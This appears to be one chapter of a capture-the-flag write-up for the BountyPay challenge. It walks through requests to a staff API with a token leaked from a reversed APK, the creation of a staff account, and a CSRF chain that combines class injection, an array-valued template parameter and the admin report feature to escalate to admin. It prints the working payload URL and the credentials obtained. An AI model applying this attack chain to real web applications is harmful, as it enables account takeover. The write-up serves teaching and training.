V - Know your staff
Getting an account on staff.bountypay
We skipped some things in part II, to make the report more readable, that we now need since we don't know what to do with the token that we got from reversing the APK.
The most interesting thing is that there is a staff endpoint on the api which throws an error saying Missing or invalid Token
:
http get https://api.bountypay.h1ctf.com/api/staff
HTTP/1.1 401 Unauthorized
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 19:50:18 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
"Missing or invalid Token"
]
Let's see what happens when we send the token that we got from reversing the apk:
http get https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 20:37:41 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
{
"name": "Sam Jenkins",
"staff_id": "STF:84DJKEIP38"
},
{
"name": "Brian Oliver",
"staff_id": "STF:KE624RQ2T9"
}
]
The endpoint now returns two accounts. Something I did not notice at first is that the same endpoint also answers to POST requests. This can be explained since in part II, I limited my recon to enumerating directories and files using GET requests. Something to keep in mind when working with APIs, always test the different HTTP methods 😉
http post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1
HTTP/1.1 400 Bad Request
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:21:15 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
"Missing Parameter"
]
With the POST method we get a different error message "Missing Parameter". The logical thing to do is to try the parameters that we saw in the GET request (name
and staff_id
). When we send the parameter staff_id
with a dummy value we get an error message "Invalid Staff ID".
http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=a
HTTP/1.1 404 Not Found
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:22:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
"Invalid Staff ID"
]
If we try set to value of staff_id
to the value associated with Sam Jenkins or Brian Oliver we get an error saying "Staff Member has an account", which makes sense since this endpoint is probably used to create a new staff account.
http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=STF:KE624RQ2T9
HTTP/1.1 409 Conflict
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:25:07 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
"Staff Member already has an account"
]
Now you might remember that in part I we found the staff_id
of a new employee named Sandra. Let's see what happens when we send this staff_id:
http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=STF:8FJ3KFISL3
HTTP/1.1 201 Created
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:28:01 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
{
"description": "Staff Member Account Created",
"password": "s%3D8qB8zEpMnc*xsz7Yp5",
"username": "sandra.allison"
}
Nice we now have an account for the Staff application !
Getting Mårten Mickos account
Once we are logged in we can see 4 differents tabs:
Home
Support Tickets
Profile
Logout

There is only 1 ticket named "Welcome to BountyPay" from Admin to Sandra:

There are not action possible on this screen since it appears that replies are currently disabled. Looking at the source code of the page, there is no reference to any endpoint that we could use to send a reply.

On the profile page there are two settings that we can update, the profile name and the avatar.

There is also a feature that is a bit hidden in the footer that allow us to report a page to the admins with a comment saying that the admin directory will be ignored.

The last interesting thing is a bit of JavaScript:
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
});
$(".tab").click(function() {
return $(".tab").removeClass("active"),
$(this).addClass("active"),
$("div.content").addClass("hidden"),
$("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
});
$(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
});
document.location.hash.length > 0 &&
("#tab1" === document.location.hash &&
$(".tab1").trigger("click"), "#tab2" === document.location.hash &&
$(".tab2").trigger("click"), "#tab3" === document.location.hash &&
$(".tab3").trigger("click"), "#tab4" === document.location.hash &&
$(".tab4").trigger("click")
);
In this JavaScript file we can see multiple things:
There is an
/admin/upgrade
endpoint which will use the value of an input with the name username as the usernameClicking on an element with the
sendReport
class will trigger a GET request to the/admin/report?url=
Based on the hash present in the URL, a click will be simulated to go directly to the right tab
Let's start investigating the upgrade endpoint since this our goal is probably to get an admin account. Of course simply requesting the endpoint would be too easy and we get an error if we try to do so :(
http get https://staff.bountypay.h1ctf.com/admin/upgrade
HTTP/1.1 401 Unauthorized
Connection: keep-alive
Content-Type: application/json
Date: Fri, 05 Jun 2020 17:24:01 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked
[
"Only admins can perform this"
]
At this point it appears that we will need to find a way to trick an admin users into upgrading our account. Let's see if we can find a way to perform a Cross-Site Request Forgery (CSRF) attack. Since the method used to upgrade the account is GET (don't do that) we don't need a Cross-Site Scripting (XSS) and being able to inject an image would be sufficient:
<img src="/admin/upgrade?username=sandra.allison" />
The profile page appears to be our best candidate to find such a vulnerability since:
We cannot use the report feature here as the
/admin
directory is ignoredThe ticket page does not provide us with a way to send a reply
Let's look at the request used to update our profile name:
http -f post "https://staff.bountypay.h1ctf.com/?template=home" \
Cookie:'token=c0...' \
profile_name=%3Cs%3Esandra%3C%2Fs%3E
Here I'm trying to inject the followin payload: <s>sandra</s>
but we can see that all special characters are filtered both on the profile page and on the tickets page.

The request to change our avatar is working in a similar fashion. There are only three avatars available and when you switch the value avartar1
, avatar2
or avatar3
is sent.
http -f post "https://staff.bountypay.h1ctf.com/?template=home" \
Cookie:'token=c0...' \
profile_name=ssandras \
profile_avatar=avatar3
The value is then used to set a different background image for the div using CSS:
<div class="col-md-12 text-center">
<div style="margin:auto" class="avatar avatar3"></div>
</div>
.avatar1 {
background-image:url("data:image/png;base64,iVB...=");
}
.avatar2 {
background-image:url("data:image/png;base64,iVB...=");
}
.avatar3 {
background-image:url("data:image/png;base64,iVB...=");
}
Something interesting is that even though, like for our profile name special characters are stripped, we can still use this to set an arbitrary class (or multiple, the space character is allowed) on the div.
At first, it looks like that we might be able to set our avatar to upgradeToAdmin
and if we can trick an admin into clicking our avatar then we will be admin but there are a couple of issues:
We need to find a page where our avatar will be displayed (this cannot be the profile page since this will not be our avatar that is displayed)
We should get rid of the click requirements (since this is a CTF we cannot expect that a human will manually click on our avatar)
We need in input in the page with
username
as its name
The first requirement is easy, the ticket page ?template=ticket&ticket_id=3582
will display our avatar to anyone who clicks on it. The second one is doable since we can set the tab3
class on the avatar as well as set it as a hash in the link we will send to the admin using the report url.
So far our avatar is set to tab3 upgradeToAdmin
and the link we need to report looks like this:
/?template=ticket&ticket_id=3582#tab3
At this point the third requirement looks impossible since the only place where there is an input with a name of username
is the login page. The good news is that we can set the value of the field by passing the username as a get parameter.
?template=login&username=test
Great ! If only we could load both template at the same time... Maybe if we can send multiple values for the template param ?
The same way there is no concensus over how objects should be represented in query parameters, there is no standardized way to format arrays of values in query parameters. Here are some ways to do it:
?foo=bar&foo=qux
?foo[]=bar&foo[]=qux
?foo=bar,qux
Luckily for us, repeating the parameter along with empty square brackets did the trick ! Our final payload looks like this:
/?template[]=login&template[]=ticket&username=sandra.allison&ticket_id=3582#tab3
If you try to use this URL and then use the report page feature this will not work. The hash part #tab3
will not be sent. You will need to encode it manually.
When we submit it using the report page feature we get back an updated cookie which let us acces the admin tab revealing the credentials of Marten Mickos !

Last updated
Was this helpful?